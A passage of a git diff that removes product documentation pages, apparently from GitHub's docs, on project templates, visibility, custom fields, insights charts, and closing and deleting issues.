admin permissions for a project in your organization, you can set the project as a template and make it available for others in your organization to use. - -{% data reusables.projects.project-settings %} -1. In the "Templates" section, next to "Make template", select the switch to toggle it to **On**. - -## Finding templates in your organization - -You can find all the templates in your organization on the "Templates" page. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.projects.projects-tab %} -{% data reusables.projects.templates-tab %} - -You can also add templates to teams and repositories, to make them accessible and more visible from the team or repository's "Templates" page. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository). - -## Copying a project as a template - -If you have write or admin permissions for a project in your organization, you can choose to copy the project as a template. This will make a duplicate of the current project—copying the {% data reusables.projects.what-gets-copied %} —and set that copied project as a template for your organization. - -{% data reusables.projects.project-settings %} -1. In the "Templates" section, click **{% octicon "duplicate" aria-hidden="true" %} Copy as template**. - -## Configuring recommended templates - -If you are an organization owner, you can select up to six templates to recommend to your organization's members. These recommended templates are suggested first when an organization member creates a new project. - -### Choosing which templates to recommend - -You can add up to six templates to your organization's recommended templates. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "table" aria-hidden="true" %} Projects**. -1. Under "Recommended templates", click **Customize recommended templates**. -1. In the list of templates owned by your organization, select up to six templates that you want to recommend to your members. - - ![Screenshot of the recommended template selection modal.](/assets/images/help/projects-v2/rec-template-select.png) - -1. Click **Save**. - -### Arranging your recommended templates - -You can change the display order of your recommended templates in the "Create project" dialog. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "table" aria-hidden="true" %} Projects**. -1. Under "Recommended templates", find the template you want to reposition, click on {% octicon "grabber" aria-label="Drag to reorder" %}, and drag the template to the new position. - - ![Screenshot of an organization's recommended templates settings. The 'Drag to reorder' handle is highlighted with an orange outline.](/assets/images/help/projects-v2/rec-template-handle.png) - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project) diff --git a/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md b/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md deleted file mode 100644 index 08bf17b27e70..000000000000 --- a/content/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Managing visibility of your {% data variables.projects.projects_v2 %}' -shortTitle: 'Managing {% data variables.projects.project_v2 %} visibility' -intro: 'Learn about setting your {% data variables.projects.project_v2 %} to private or public visibility.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true -permissions: 'Organization owners can manage the visibility of {% data variables.projects.projects_v2 %} in their organization. Organization owners can also allow collaborators with admin permissions to manage project visibility. Visibility of user projects can be managed by the owner of the project and collaborators with admin permissions.' ---- - -## About project visibility - -Project visibility can be set to {% ifversion ghec %}private, internal when using an {% data variables.enterprise.prodname_emu_enterprise %}, or public if your enterprise does not use {% data variables.enterprise.prodname_managed_users %}{% else %}public or private{% endif %}. For public projects, everyone on the internet can view the project. For private projects, only users granted at least read access can see the project. {% ifversion ghec %} For internal projects, other members of your enterprise can see the project.{% endif %} - -Only the project visibility is affected; to view an item on the project, someone must have the required permissions for the repository that the item belongs to. Only people with access to a private repository will be able to view project items from that private repository. - -![Screenshot showing a project using a table layout. One of the items is marked with a padlock icon, indicating it's hidden, and outlined in orange.](/assets/images/help/projects-v2/hidden-items.png) - -Project admins and organization owners can control project visibility. Organization owners{% ifversion project-visibility-policy %} and enterprise owners{% endif %} can restrict the ability to change project visibility to just organization owners. - -In public{% ifversion ghec %}, internal, {% endif %} and private projects, insights are only visible to users with write permissions for the project. - -In private{% ifversion ghec %} and internal{% endif %} organization-owned projects, the avatars of users who are current making updates to the project are displayed in the project UI. - -Project admins can also manage write and admin access to their project and control read access for individual users. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). - -## Changing project visibility - -{% data reusables.projects.project-settings %} -1. Next to **Visibility** in the "Danger zone", {% ifversion ghec %}select the visibility. - * If using an {% data variables.enterprise.prodname_emu_enterprise %}, choose between **Private** and **Internal**. - * If your enterprise does not use {% data variables.enterprise.prodname_managed_users %}, choose between **Private** and **Public**.{% else %} select **Private** or **Public**.{% endif %} - -## Further reading - -* [Allowing project visibility changes in your organization](/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization) diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md deleted file mode 100644 index f380dbb66b40..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: About date fields -shortTitle: About date fields -intro: You can create custom date fields that can be set by typing a date or using a calendar. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -redirect_from: - - /issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields ---- - -You can filter for date values using the `YYYY-MM-DD` format, for example: `date:2022-07-01`. You can also use operators, such as `>`, `>=`, `<`, `<=`, and `..`. For example, `date:>2022-07-01` and `date:2022-07-01..2022-07-31`. You can also provide `@today` to represent the current day in your filter. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -If your project makes use of date fields, you can use the roadmap layout to view items on a timeline. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout). - -## Adding a date field - -{% data reusables.projects.new-field %} -1. Select **Date** -1. Click **Save**. diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md deleted file mode 100644 index 51fd581c1ad8..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: About iteration fields -shortTitle: About iteration fields -intro: You can create iterations to plan upcoming work and group items. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/managing-iterations - - /issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields -type: tutorial -topics: - - Projects ---- - -You can create an iteration field to associate items with specific repeating blocks of time. Iterations can be set to any length of time, can include breaks, and can be individually edited to modify name and date range. With projects, you can group by iteration to visualize the balance of upcoming work, use filters to focus on a single iteration, and sort by iteration. - -You can filter for iterations by specifying the iteration name or `@current` for the current iteration, `@previous` for the previous iteration, or `@next` for the next iteration. You can also use operators such as `>`, `>=`, `<`, `<=`, and `..`. For example, `iteration:>"Iteration 4"` and `iteration:<@current`. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -When you first create an iteration field, three iterations are automatically created. You can add additional iterations and make other changes on your project's settings page. - -If your project makes use of iteration fields, you can use the roadmap layout to view items on a timeline. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout). - -## Adding an iteration field - -{% data reusables.projects.new-field %} -1. Under "Field type", select **Iteration**. -1. Optionally, if you don't want the iteration to start today, select the calendar dropdown next to "Starts on" and choose a new start date. -1. To change the duration of each iteration, type a new number, then select the dropdown and click either **days** or **weeks**. -1. Click **Save**. - -## Adding new iterations - -{% data reusables.projects.project-settings %} -1. Click the name of the iteration field you want to adjust. -1. To add a new iteration of the same duration, click **Add iteration**. - ![Screenshot showing iteration settings. The "Add iteration" button is highlighted with an orange outline.](/assets/images/help/projects-v2/add-iteration.png) -1. Optionally, to customize the duration of the new iteration and when it will start, click **{% octicon "triangle-down" aria-hidden="true" %} More options**, select a starting date and duration, and click **Add**. - ![Screenshot showing iteration settings. The "More options" button is highlighted with an orange outline.](/assets/images/help/projects-v2/add-iteration-options.png) -1. Click **Save changes**. - -## Editing an iteration - -You can edit iterations in your project settings. You can also access the settings for an iteration field by clicking {% octicon "kebab-horizontal" aria-label="Cycle column options" %} in the table header for the field and clicking **Edit values**. - -{% data reusables.projects.project-settings %} -1. In the list on the left, click the name of the iteration field you want to adjust. -1. To change the name of an iteration, click on the name and start typing. - ![Screenshot of a single iteration's settings. The iteration name is highlighted with an orange outline.](/assets/images/help/projects-v2/iteration-rename.png) -1. To change the date or duration of an iteration, click on the date to open the calendar. Click on the start day, then click the end day, and then click **Apply**. - ![Screenshot of a single iteration's settings. The iteration date span is highlighted with an orange outline.](/assets/images/help/projects-v2/iteration-date.png) -1. Optionally, to delete an iteration, on the right of the iteration, click {% octicon "trash" aria-label="Remove item" %}. -1. Click **Save changes**. - -## Inserting a break - -You can insert breaks into your iterations to communicate when you are taking time away from scheduled work. The duration of a new break defaults to the length of the most recently created iteration. - -{% data reusables.projects.project-settings %} -1. Click the name of the iteration field you want to adjust. -1. Hover over the dividing line above an iteration, then click **Insert break**. - - ![Screenshot of the list of iterations for a project. On the line dividing two iterations, a button, labeled "Insert break," is outlined in orange.](/assets/images/help/issues/iteration-insert-break.png) -1. Optionally, to change the duration of the break, click on the date to open the calendar. Click on the start day, then click the end day, and then click **Apply**. -1. Click **Save changes**. diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-parent-issue-and-sub-issue-progress-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/about-parent-issue-and-sub-issue-progress-fields.md deleted file mode 100644 index 24b61d153ee2..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-parent-issue-and-sub-issue-progress-fields.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: About parent issue and sub-issue progress fields -shortTitle: About sub-issue fields -intro: 'You can show an issue''s parent issue and view sub-issue progress in your projects.' -versions: - feature: sub-issues -type: tutorial -topics: - - Projects ---- - -If your organization uses sub-issues, you can enable the "Parent issue" and "Sub-issue progress" fields on your projects to see the relationships between your issues and the progress made on those issues. - -The "Parent issue" field can be used to group items, allowing you to create views that break down your work using the sub-issue hierarchies you have created. For more about grouping views, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view#grouping-by-field-values-in-table-layout). - -You can also filter by the "Parent issue" field to only display items that are sub-issues of a particular issue. You can start by typing "parent-issue" and then selecting an issue from the list. Or, if you know the repository and issue number, you can type the filter in full: - -```text -parent-issue:"/#" -``` - -To use the filter, replace `` with the repository owner, `` with the repository name, and `` with the issue number. See [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -## Enabling the Parent issue field - -You can enable the "Parent issue" field to see which parent issues the issues in your project belong to. - -1. In table view, in the rightmost field header, click {% octicon "plus" aria-label="the plus icon" %}. - - ![Screenshot of a project. The "Add field" button, indicated by a plus icon, is highlighted with an orange outline.](/assets/images/help/projects-v2/new-field-button.png) - -1. Under "Hidden fields", click **Parent issue**. - -## Enabling the Sub-issue progress - -You can enable the "Sub-issue progress" field to see how many sub-issues have been completed. - -1. In table view, in the rightmost field header, click {% octicon "plus" aria-label="the plus icon" %}. - - ![Screenshot of a project. The "Add field" button, indicated by a plus icon, is highlighted with an orange outline.](/assets/images/help/projects-v2/new-field-button.png) - -1. Under "Hidden fields", click **Sub-issue progress**. diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md deleted file mode 100644 index 2666bc1c1c33..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-single-select-fields.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: About single select fields -shortTitle: About single select fields -intro: 'You can create single select fields with multiple options, each with a description and a color, that can be selected from a dropdown menu.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -redirect_from: - - /issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields ---- - -You can filter by your single select fields by specifying the option, for example: `fieldname:option`. You can filter for multiple values by providing a comma-separated list of options, for example: `fieldname:option,option`. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -Single select fields can contain up to 50 options. - -## Adding a single select field - -{% data reusables.projects.new-field %} -1. Select **Single select** -1. Below "Options", type the first option. - * To add additional options, click **Add option**. -1. Click **Save**. - -## Editing a single select field - -You can set descriptions and colors for each of your single select options. - -1. Access your project's settings. -1. To the right of the single select field you want to edit, click {% octicon "pencil" aria-label="The pencil icon" %}. - - ![Screenshot of the single select options. The pencil icon, by one of the options, is highlighted with an orange outline.](/assets/images/help/projects-v2/edit-single-select.png) - -1. In the modal that opens, under **Label text**, type the name of this option. -1. Optionally, under **Color**, select the color you want to use to represent this option. - - ![Screenshot of the modal for editing a single select option. The blue color option is highlighted with an orange outline.](/assets/images/help/projects-v2/edit-single-select-color.png) - -1. Optionally, under **Description**, type a description for this option. -1. Click **Save** to save your changes. diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md deleted file mode 100644 index 010c798fec53..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/about-text-and-number-fields.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: About text and number fields -shortTitle: About text and number fields -intro: You can add custom text and number fields to your project. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -redirect_from: - - /issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields ---- - -You can use text fields to include notes or any other freeform text in your project. - -Text fields can be used in filters, for example: `field:"exact text"`. Text fields and item titles will also be used if you filter for text without specifying a field. - -Number fields can also be used in filters. You can use `>`, `>=`, `<`, `<=`, and `..` range queries to filter by a number field. For example: `field:5..15` or `field:>=20`. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -## Adding a text field - -{% data reusables.projects.new-field %} -1. Select **Text**. -1. Click **Save**. - -## Adding a number field - -{% data reusables.projects.new-field %} -1. Select **Number**. -1. Click **Save**. diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/deleting-custom-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/deleting-custom-fields.md deleted file mode 100644 index b63f4fd937ee..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/deleting-custom-fields.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Deleting custom fields -intro: 'Learn how to delete a custom field from your {% data variables.projects.project_v2 %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -redirect_from: - - /issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields ---- - -{% data reusables.projects.project-settings %} -1. Click the name of the custom field you want to delete. -1. Click **Delete field**. - - ![Screenshot showing the settings for a note field. The "Delete field" button is highlighted with an orange outline.](/assets/images/help/projects-v2/delete-field.png) diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/index.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/index.md deleted file mode 100644 index d2da9f2f4e79..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Understanding fields -shortTitle: Understanding fields -intro: 'Learn about the different fields and custom field types, how to add fields to your project, and how to manage custom fields.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /about-text-and-number-fields - - /about-date-fields - - /about-single-select-fields - - /about-iteration-fields - - /about-parent-issue-and-sub-issue-progress-fields - - /renaming-custom-fields - - /deleting-custom-fields -allowTitleToDifferFromFilename: true -redirect_from: - - /issues/planning-and-tracking-with-projects/understanding-field-types - - /issues/planning-and-tracking-with-projects/understanding-fields/about-tracks-and-tracked-by-fields ---- - diff --git a/content/issues/planning-and-tracking-with-projects/understanding-fields/renaming-custom-fields.md b/content/issues/planning-and-tracking-with-projects/understanding-fields/renaming-custom-fields.md deleted file mode 100644 index ffa00dd7671a..000000000000 --- a/content/issues/planning-and-tracking-with-projects/understanding-fields/renaming-custom-fields.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Renaming custom fields -intro: 'Learn about renaming existing custom fields in your {% data variables.projects.project_v2 %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects -redirect_from: - - /issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields ---- - -{% data reusables.projects.project-settings %} -1. Click the name of the custom field you want to rename. -1. Under "Field name", type the new name for the field. -1. To save changes, press Return. diff --git a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md b/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md deleted file mode 100644 index 9c0c33d58e78..000000000000 --- a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 'About insights for {% data variables.product.prodname_projects_v2 %}' -intro: You can view and customize charts that are built from your project's data. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/using-insights-with-projects -type: tutorial -permissions: '{% data reusables.projects.insights-permissions %}' -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -You can use insights for {% data variables.product.prodname_projects_v2 %} to view, create, and customize charts that use the items added to your project as their source data. You can apply filters to the default chart and also create your own charts. When you create a chart, you set the filters, chart type, the information displayed, and the chart is available to anyone that can view the project. You can generate two types of chart: current charts and historical charts. - -Insights does not track items you have archived or deleted. - -## About current charts - -You can create current charts to visualize your project items. For example, you can create charts to show how many items are assigned to each individual, or how many issues are assigned to each upcoming iteration. - -You can also use filters to manipulate the data used to build your chart. For example, you can create a chart showing how much upcoming work you have, but limit those results to particular labels or assignees. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -![Screenshot of a stacked column chart, with a column for each iteration. Each column is divided into "Bug", "Feedback", "Backend", and "UI" sections.](/assets/images/help/issues/column-chart-example.png) - -For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts). - -## About historical charts - -You can create historical charts to visualize your project items over time. Historical charts track changes to the state of your project items. You can see "Open" items with open issues and pull requests, "Completed" items with issues that were closed as completed or merged pull requests, "Closed pull requests", and "Not planned" items with issues that were closed as not planned. You can view the number of items or aggregation of items over time. - -The default "Burn up" chart allows you to visualize the progress of your issues over time, showing how much work is completed and how much is left to do. You can use this chart to view progress, spot trends, and identify bottlenecks to help move the project forward. - -![Screenshot of a "Burn up" chart, showing the issues over a two-week period split into the categories: "Open", "Completed", and "Not planned".](/assets/images/help/issues/burnup-example.png) - -To create a historical chart, set your chart's X-axis to "Time." You can also use filters to manipulate the data used to build your chart. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). - -For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts). - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) diff --git a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md b/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md deleted file mode 100644 index 32ff00320e0f..000000000000 --- a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Configuring charts -intro: Learn how to configure your charts and filter data from your project. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -permissions: '{% data reusables.projects.insights-permissions %}' -topics: - - Projects ---- - -{% data reusables.projects.access-insights %} -1. In the menu on the left, click on the chart you would like to configure. -1. On the right side of the page, click **Configure**. A panel will open on the right. -1. To change the type of chart, select the **Layout** dropdown and click on the chart type you want to use. -1. To change the field used for your chart's X-axis, select the **X-axis** dropdown and click the field you want to use. -1. Optionally, for current charts, to group the items on your X-axis by another field, select **Group by** and click on the field you want to use, or click "None" to disable grouping. -1. Optionally, if your project contains number fields and you want the Y-axis to display the sum, average, minimum, or maximum of one of those number fields, select **Y-axis** and click an option. Then, select the dropdown that appears beneath and click on the number field you want to use. -1. To save your chart, click **Save changes**. diff --git a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md b/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md deleted file mode 100644 index 64f8ffa518d1..000000000000 --- a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Creating charts -intro: Learn how to create new charts to save your configurations. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -permissions: '{% data reusables.projects.insights-permissions %}' -topics: - - Projects ---- - -{% data reusables.projects.access-insights %} -1. In the menu on the left, click **New chart**. -1. Optionally, to change the name of the new chart, click {% octicon "triangle-down" aria-label="The triangle icon" %}, type a new name, and press Return. -1. Above the chart, type filters to change the data used to build the chart. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). -1. To the right of the filter text box, click **Save changes**. diff --git a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md b/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md deleted file mode 100644 index 9ecdd00fca45..000000000000 --- a/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: 'Viewing insights from your {% data variables.projects.project_v2 %}' -shortTitle: Viewing insights -intro: You can use insights to visualize your projects by creating and sharing charts built from your project's data. -versions: - feature: projects-v2-insights -topics: - - Issues - - Projects -children: - - /about-insights-for-projects - - /creating-charts - - /configuring-charts -allowTitleToDifferFromFilename: true ---- diff --git a/content/issues/tracking-your-work-with-issues/about-issues.md b/content/issues/tracking-your-work-with-issues/about-issues.md deleted file mode 100644 index 51a0a6428ea9..000000000000 --- a/content/issues/tracking-your-work-with-issues/about-issues.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: About issues -intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to track ideas, feedback, tasks, or bugs.' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues - - /articles/creating-issues - - /articles/about-issues - - /github/managing-your-work-on-github/about-issues - - /issues/tracking-your-work-with-issues/creating-issues/about-issues -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Project management ---- - -You can create issues in your repository to plan, discuss, and track work. Issues are quick to create, flexible, and can be used in many ways. Issues can track bug reports, new features and ideas, and anything else you need to write down or discuss with your team. {% ifversion sub-issues %}You can also break your work down further by adding sub-issues and easily browse the full hierarchy of work to be done.{% endif %} - -Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow. For example, you can create an issue from a repository,{% ifversion sub-issues %} while adding sub-issues,{% endif %} convert a comment in an issue or pull request, create an issue from a specific line of code, or via a URL query. You can also create an issue from your platform of choice: through the web UI, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL and REST APIs, or {% data variables.product.prodname_mobile %}. See [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -{% ifversion copilot %} - -> [!TIP] You can also use {% data variables.product.prodname_copilot_chat_short %} to generate ideas, outlines, or drafts for discussions or blog posts, based on your issues. See [AUTOTITLE](/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts). - -{% endif %} - -{% ifversion sub-issues %} - -## About sub-issues - -{% data reusables.issues.about-sub-issues %} See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues) and [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/browsing-sub-issues). - -{% endif %} - -## About integration with {% data variables.product.github %} - -Issues integrate with your work all across {% data variables.product.github %}. Mentioning an issue in another issue or pull request will create references between them and using keywords, like `fixes:`, in your pull requests will automatically close the associated issues. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue). - -{% data variables.projects.projects_v2_caps %} is strongly integrated with issues. All your issue metadata is available in your projects, allowing you to create views and filters to represent your work. See [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -## Staying up to date - -To stay updated on the most recent comments in an issue, you can subscribe to an issue to receive notifications about the latest comments. To quickly find links to recently updated issues you're subscribed to, visit your dashboard. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications) and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard). - -You can assign yourself and teammates to issues to make it clear who is working on an issue and also make it easier for you to locate your issues. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/assigning-issues-and-pull-requests-to-other-github-users) and [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/viewing-all-of-your-issues-and-pull-requests). - -## Community management - -To help contributors open meaningful issues that provide the information that you need, you can use {% ifversion fpt or ghec %}issue forms and {% endif %}issue templates. See [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). - -{% ifversion fpt or ghec %}To maintain a healthy community, you can report comments that violate {% data variables.product.github %}'s [Community Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines). See [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} - -## Efficient communication - -You can @mention collaborators who have access to your repository in an issue to draw their attention to a comment. To link related issues in the same repository, you can type `#` followed by part of the issue title and then clicking the issue that you want to link. To communicate responsibility, you can assign issues. If you find yourself frequently typing the same comment, you can use saved replies. -{% ifversion fpt or ghec %} See [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) and [AUTOTITLE](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users). -{% endif %} - -## Comparing issues and discussions - -Some conversations are more suitable for {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} For guidance on when to use an issue or a discussion, see [AUTOTITLE](/get-started/using-github/communicating-on-github). - -When a conversation in an issue is better suited for a discussion, you can convert the issue to a discussion. diff --git a/content/issues/tracking-your-work-with-issues/administering-issues/closing-an-issue.md b/content/issues/tracking-your-work-with-issues/administering-issues/closing-an-issue.md deleted file mode 100644 index 4d43b2b0ea52..000000000000 --- a/content/issues/tracking-your-work-with-issues/administering-issues/closing-an-issue.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Closing an issue -intro: 'You can close an issue when bugs are fixed, feedback is acted on, or to show that work is not planned.' -permissions: 'Anyone can close an issue they opened.

Repository owners, collaborators on repositories owned by a personal account, and people with triage permissions or greater on repositories owned by an organization can close issues opened by others. {% data reusables.enterprise-accounts.emu-permission-repo %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues - - Project management -shortTitle: Close an issue -redirect_from: - - /issues/tracking-your-work-with-issues/closing-an-issue ---- - -> [!NOTE] -> You can also close issues automatically with keywords in pull requests and commit messages. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword#linking-a-pull-request-to-an-issue-using-a-keyword). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -1. In the list of issues, click the issue you'd like to close. -1. Optionally, to change your reason for closing the issue, next to "Close issue," select {% octicon "triangle-down" aria-label="Select close issue reason" %}, then click a reason. - - ![Screenshot of the buttons at the bottom of an issue. A button with a downward triangle icon, indicating a dropdown menu, is outlined in orange.](/assets/images/help/issues/close-issue-select-reason.png) -1. Click **Close issue**. diff --git a/content/issues/tracking-your-work-with-issues/administering-issues/deleting-an-issue.md b/content/issues/tracking-your-work-with-issues/administering-issues/deleting-an-issue.md deleted file mode 100644 index 7d06b8410a57..000000000000 --- a/content/issues/tracking-your-work-with-issues/administering-issues/deleting-an-issue.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Deleting an issue -intro: People with admin permissions in a repository can permanently delete an issue from a repository. -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/deleting-an-issue - - /articles/deleting-an-issue - - /github/managing-your-work-on-github/deleting-an-issue - - /issues/tracking-your-work-with-issues/creating-issues/deleting-an-issue - - /issues/tracking-your-work-with-issues/deleting-an-issue -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -The ability to delete issues depends on whether the repository is owned by a personal account or an organization: -* The only account that can delete issues in a repository owned by a personal account is that account. -* Only accounts with admin or owner permissions can delete issues in a repository owned by an organization. - - To delete an issue in a repository owned by an organization, an organization owner must enable deleting issues for the organization's repositories. For more information, see 